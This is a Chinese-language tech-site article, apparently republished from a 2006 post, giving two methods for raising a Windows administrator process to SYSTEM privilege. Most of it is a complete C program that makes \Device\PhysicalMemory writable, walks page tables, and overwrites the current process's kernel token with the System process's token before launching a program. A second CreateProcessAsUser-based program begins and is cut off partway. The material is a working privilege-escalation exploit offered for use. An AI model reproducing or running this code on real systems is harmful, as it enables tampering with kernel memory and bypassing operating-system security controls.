首页 电脑 电脑学堂 查看内容

管理员组获取系统权限的完美解决方案

2006-3-23 00:00 730 0

摘要: 关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和...
关键词: nbsp ULONG NULL Status ATTRIBUTES Information ZWQUERYSYSTEMINF Token SYSTEM PVOID

关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".这里,我先踩在前辈的肩上列一些可行的方法:1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)" 2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建3. 远线程插入,插入线程到系统进程,创建一新进程这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:4. 将程序做成服务,带参数运行新进程做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.这里,我拿出两种新的方案来实现该功能:第一种方法.我们先来看一下系统是如何进行权限检测的,举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;                                    |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)实现代码:=======================================================#include<windows.h>#include<stdio.h>#include<Accctrl.h>#include<Aclapi.h>#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it#define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)#define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)typedef LONG  NTSTATUS;typedef struct _IO_STATUS_BLOCK{    NTSTATUS    Status;    ULONG        Information;} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;typedef struct _UNICODE_STRING{    USHORT        Length;    USHORT        MaximumLength;    PWSTR        Buffer;} UNICODE_STRING, *PUNICODE_STRING;#define OBJ_INHERIT             0x00000002L#define OBJ_PERMANENT           0x00000010L#define OBJ_EXCLUSIVE           0x00000020L#define OBJ_CASE_INSENSITIVE    0x00000040L#define OBJ_OPENIF              0x00000080L#define OBJ_OPENLINK            0x00000100L#define OBJ_KERNEL_HANDLE       0x00000200L#define OBJ_VALID_ATTRIBUTES    0x000003F2Ltypedef struct _OBJECT_ATTRIBUTES{    ULONG        Length;    HANDLE        RootDirectory;    PUNICODE_STRING ObjectName;    ULONG        Attributes;    PVOID        SecurityDescriptor;    PVOID        SecurityQualityOfService;} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  typedef struct _SYSTEM_MODULE_INFORMATION{    ULONG Reserved[2];    PVOID Base;    ULONG Size;    ULONG Flags;    USHORT Index;    USHORT Unknown;    USHORT LoadCount;    USHORT ModuleNameOffset;    CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{    SystemBasicInformation,    SystemProcessorInformation,    SystemPerformanceInformation,    SystemTimeOfDayInformation,    SystemNotImplemented1,    SystemProcessesAndThreadsInformation,    SystemCallCounts,    SystemConfigurationInformation,    SystemProcessorTimes,    SystemGlobalFlag,    SystemNotImplemented2,    SystemModuleInformation,    SystemLockInformation,    SystemNotImplemented3,    SystemNotImplemented4,    SystemNotImplemented5,    SystemHandleInformation,    SystemObjectInformation,    SystemPagefileInformation,    SystemInstructionEmulationCounts,    SystemInvalidInfoClass1,    SystemCacheInformation,    SystemPoolTagInformation,    SystemProcessorStatistics,    SystemDpcInformation,    SystemNotImplemented6,    SystemLoadImage,    SystemUnloadImage,    SystemTimeAdjustment,    SystemNotImplemented7,    SystemNotImplemented8,    SystemNotImplemented9,    SystemCrashDumpInformation,    SystemExceptionInformation,    SystemCrashDumpStateInformation,    SystemKernelDebuggerInformation,    SystemContextSwitchInformation,    SystemRegistryQuotaInformation,    SystemLoadAndCallImage,    SystemPrioritySeparation,    SystemNotImplemented10,    SystemNotImplemented11,    SystemInvalidInfoClass2,    SystemInvalidInfoClass3,    SystemTimeZoneInformation,    SystemLookasideInformation,    SystemSetTimeSlipEvent,    SystemCreateSession,    SystemDeleteSession,    SystemInvalidInfoClass4,    SystemRangeStartInformation,    SystemVerifierInformation,    SystemAddVerifier,    SystemSessionProcessesInformation} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL);typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(    OUT PHANDLE  SectionHandle,    IN  ACCESS_MASK  DesiredAccess,    IN  POBJECT_ATTRIBUTES  ObjectAttributes    );typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                    IN OUT PUNICODE_STRING  DestinationString,    IN PCWSTR  SourceString    );typedef struct _SYSTEM_HANDLE_INFORMATION{    ULONG            ProcessId;    UCHAR            ObjectTypeNumber;    UCHAR            Flags;    USHORT            Handle;    PVOID            Object;    ACCESS_MASK        GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;RTLINITUNICODESTRING        RtlInitUnicodeString;ZWOPENSECTION            ZwOpenSection;ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;HMODULE    g_hNtDLL = NULL;PVOID     g_pMapPhysicalMemory = NULL;HANDLE     g_hMPM     = NULL;BOOL InitNTDLL(){    g_hNtDLL = LoadLibrary( "ntdll.dll" );    if ( !g_hNtDLL )    {        return FALSE;    }    RtlInitUnicodeString =        (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");    ZwOpenSection =        (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");    ZwQuerySystemInformation =        ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );    ZwQuerySystemInformation =         ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );    return TRUE;}VOID CloseNTDLL(){    if(g_hNtDLL != NULL)    {        FreeLibrary(g_hNtDLL);    }}VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection){    PACL pDacl=NULL;    PACL pNewDacl=NULL;    PSECURITY_DESCRIPTOR pSD=NULL;    DWORD dwRes;    EXPLICIT_ACCESS ea;    if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,        NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)    {        goto CleanUp;    }    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));    ea.grfAccessPermissions = SECTION_MAP_WRITE;    ea.grfAccessMode = GRANT_ACCESS;    ea.grfInheritance= NO_INHERITANCE;    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;    ea.Trustee.ptstrName = "CURRENT_USER";    if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)    {        goto CleanUp;    }    if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)    {        goto CleanUp;    }CleanUp:    if(pSD)        LocalFree(pSD);    if(pNewDacl)        LocalFree(pNewDacl);}HANDLE OpenPhysicalMemory(){    NTSTATUS        status;    UNICODE_STRING        physmemString;    OBJECT_ATTRIBUTES    attributes;    RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );    attributes.Length            = sizeof(OBJECT_ATTRIBUTES);    attributes.RootDirectory        = NULL;    attributes.ObjectName            = &physmemString;    attributes.Attributes            = 0;    attributes.SecurityDescriptor        = NULL;    attributes.SecurityQualityOfService    = NULL;    status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);    if(status == STATUS_ACCESS_DENIED){        status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);        SetPhyscialMemorySectionCanBeWrited(g_hMPM);        CloseHandle(g_hMPM);        status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);    }    if( !NT_SUCCESS( status ))    {        return NULL;    }    g_pMapPhysicalMemory = MapViewOfFile(        g_hMPM,        4,        0,        0x30000,        0x1000);    if( g_pMapPhysicalMemory == NULL )    {        return NULL;    }    return g_hMPM;}PVOID LinearToPhys(PULONG BaseAddress,PVOID addr){    ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;    if(VAddr>=0x80000000 && VAddr<0xa0000000)    {        PAddr=VAddr-0x80000000;        return (PVOID)PAddr;    }    PGDE=BaseAddress[VAddr>>22];    if ((PGDE&1)!=0)    {        ULONG tmp=PGDE&0x00000080;        if (tmp!=0)        {            PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);        }        else        {            PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);            PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];            if ((PTE&1)!=0)            {                PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);                UnmapViewOfFile((PVOID)PGDE);            }            else return 0;        }    }    else return 0;    return (PVOID)PAddr;}ULONG GetData(PVOID addr){    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);    if (tmp==0)        return 0;    ULONG ret=tmp[(phys & 0xFFF)>>2];    UnmapViewOfFile(tmp);    return ret;}BOOL SetData(PVOID addr,ULONG data){    ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);    PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);    if (tmp==0)        return FALSE;    tmp[(phys & 0xFFF)>>2]=data;    UnmapViewOfFile(tmp);    return TRUE;}DWORD MyGetModuleBaseAddress( char * pModuleName){    PSYSTEM_MODULE_INFORMATION    pSysModule;        ULONG            uReturn;    ULONG            uCount;    PCHAR            pBuffer = NULL;    PCHAR            pName    = NULL;    NTSTATUS        status;    UINT            ui;    CHAR            szBuffer[10];    DWORD            pBaseAddress;    status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );    pBuffer = ( PCHAR )malloc(uReturn);    if ( pBuffer )    {        status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );        if( NT_SUCCESS(status) )        {            uCount = ( ULONG )*( ( ULONG * )pBuffer );            pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );            for ( ui = 0; ui < uCount; ui++ )            {                pName = strstr( pSysModule->ImageName, pModuleName );                if( pName )                {                    pBaseAddress = (DWORD)pSysModule->Base;                    free( pBuffer );                    return pBaseAddress;                }                pSysModule ++;            }        }        free( pBuffer );    }    return NULL;}DWORD GetEprocessFromId (DWORD PID){    NTSTATUS                     status;    PVOID                        buf   = NULL;    ULONG                        size  = 1;    ULONG                        NumOfHandle = 0;    ULONG                        i;    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;    DWORD    n;    DWORD    retvalue=0;    buf=malloc(0x1000);    if(buf == NULL)    {        printf("malloc wrong\n");        return FALSE;    }    status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );    if(STATUS_INFO_LENGTH_MISMATCH == status)    {        free(buf);        buf=malloc(n);        if(buf == NULL)        {            printf("malloc wrong\n");            return FALSE;        }        status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);    }    else    {        printf("ZwQuerySystemInformation wrong\n");        return FALSE;    }    NumOfHandle = *(ULONG*)buf;    h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);    for(i = 0; i<NumOfHandle ;i++)    {            if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))            {                retvalue=(DWORD)(h_info[i].Object);                break;            }    }    if ( buf != NULL )    {        free( buf );    }    return retvalue;}void usage(char *exe){    printf("Usage : %s [exefile|-h]\n");}int main(int argc, char **argv){    HMODULE hDll;    DWORD tmp;    DWORD SystemEprocess;    DWORD SystemEprocessTokenValue;    DWORD CurrentEprocess;    DWORD CurrentEprocessTokenValue;    printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");    printf("\tMade by ZwelL.\n");    printf("\[email protected].\n");    printf("\thttp://www.donews.net/zwell.\n");    printf("\tType -h to get more information\n", argv[0]);    if( argc>=2)    {        if(            ( (strcmp(argv[1],"-h")==0) && (argc==2))            || (argc>2)           )        {            usage(argv[0]);            exit(-1);        }    }    if (!InitNTDLL())    {        printf("InitNTDLL wrong\n");        exit(-1);    }    if (OpenPhysicalMemory()==0)    {        printf("OpenPhysicalMemory wrong\n");        exit(-1);    }    hDll = LoadLibrary("ntoskrnl.exe");    tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");    tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;    SystemEprocess=GetData((PVOID)tmp);    tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address    SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM's Token    printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);    OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );    CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());    CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));    printf("Current EPROCESS : %08x\n", CurrentEprocess);    printf("Current Process Token : %08x\nPress ENTER to continue...\n",         CurrentEprocessTokenValue);    //getchar();    SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);    printf("Current Process Token : %08x\n",         GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));    printf("Press ENTER to create process...\n");    //getchar();    if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))         == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))          )         // It is so surprised that SYSTEM's Token always in changing.         // So before create new process, we should ensure the TOKEN is all right    {        ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);    }    UnmapViewOfFile(g_pMapPhysicalMemory);    CloseHandle(g_hMPM);    CloseNTDLL();    return 0;}在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间, 搞不好会出现蓝屏现象(尽管机率很小).第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:#include <windows.h>#include <stdio.h>#include <Tlhelp32.h>#include <AccCtrl.h>#include <Aclapi.h>#include <wtsapi32.h>#pragma comment(lib, "wtsapi32")HANDLE OpenSystemProcess(){    HANDLE hSnapshot = NULL;    HANDLE hProc     = NULL;    __try    {        // Get a snapshot of the processes in the system        hSnapshot = CreateToolhelp32Snapshot(TH3
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部